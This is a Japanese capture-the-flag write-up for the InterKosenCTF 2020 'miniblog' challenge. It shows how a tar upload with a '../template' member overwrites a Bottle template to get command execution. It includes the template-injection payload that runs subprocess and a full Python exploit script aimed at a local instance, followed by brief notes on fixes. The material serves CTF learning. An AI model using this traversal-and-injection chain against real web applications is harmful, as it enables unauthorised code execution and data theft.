# miniblog [InterKosenCTF 2020] ###### tags: `InterKosenCTF2020` ## 概要 ブログが作れるシステム。 ブログのテンプレートにtemplate文字列が使えるが、次のチェックがあるので単にSSTIはできない。 ```python for brace in re.findall(r"{{.*?}}", content): if not re.match(r"{{!?[a-zA-Z0-9_]+}}", brace): return abort(400, "forbidden") ``` また、ファイルのアップロードフォームがあり、tarファイルを送れる。 ```python tarpath = 'tmp/{}'.format(uuid4().hex) attachments_dir = "userdir/{userid}/attachments/".format(userid=users[username]["id"]) attachment.save(tarpath) try: tarfile.open(tarpath).extractall(path=attachments_dir) except (ValueError, RuntimeError): pass ``` ## 解法 ファイルがattachmentsに展開されるが、ここでファイル名を`../template`にしておけばテンプレートを制約なく書き換えられる。 bottleを使っているのでテンプレートがflaskと違うことに注意して、次のように任意コマンド実行できる。 ```python <% import subprocess a = subprocess.Popen(["/bin/cat", "/unpredicable_name_flag"], stdout=subprocess.PIPE).stdout.read() %> {{a}} ``` あとはこれを`../template`という名前でアップロードする。 ```python import requests import re import tarfile url = "http://localhost:14000" payload = {'username': 'hoge', 'password': 'hoge'} r = requests.post(f"{url}/login", data=payload, allow_redirects=False) cookies = r.cookies r = requests.get(f"{url}/", cookies=cookies) uid = re.findall("/posts/([a-f0-9]{32})/", r.text)[0] with tarfile.open('exploit.tar.gz', 'w:gz') as tar: tar.add('exploit.tmpl', arcname='../template') with open('exploit.tar.gz', 'rb') as f: binary = f.read() upload = {'attachment': ('exploit.tar.gz', binary, 'application/octet-stream')} r = requests.post(f"{url}/upload", files=upload, cookies=cookies) r = requests.get(f"{url}/posts/{uid}/00000000000000000000000000000000", cookies=cookies) print(r.text) ``` ## 修正点 - 他人のファイルを削除できるのでuserdirの実行権限を外す これやると投稿一覧も見えなくなる?postsとかtitlesに実行権限あれば大丈夫? ## 意見・感想 - 良い問題 - tarbombに対応しているとなおヨシ